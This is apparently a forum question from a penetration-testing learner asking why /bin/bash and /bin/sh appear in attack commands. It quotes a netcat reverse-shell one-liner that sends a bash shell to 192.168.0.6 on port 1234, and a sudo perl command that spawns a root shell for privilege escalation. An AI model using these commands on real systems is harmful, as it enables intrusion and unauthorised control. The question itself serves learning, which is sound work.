During my Pentester learning, I have noticed a lot about using /bin/ in some situations and in certain commands, such as in a reverse shell:
nc -nv 192.168.0.6 1234 -e /bin/bash
and for example, when it comes to climbing privileges on a machine:
sudo /usr/bin/perl -e 'exec "/bin/sh"'
I tried to search the internet and watch several videos, but they never explain how this folder works in these situations, WHY I need to run /bin/bash at reverse shell time, or why /bin/perl and /bin/sh was used ?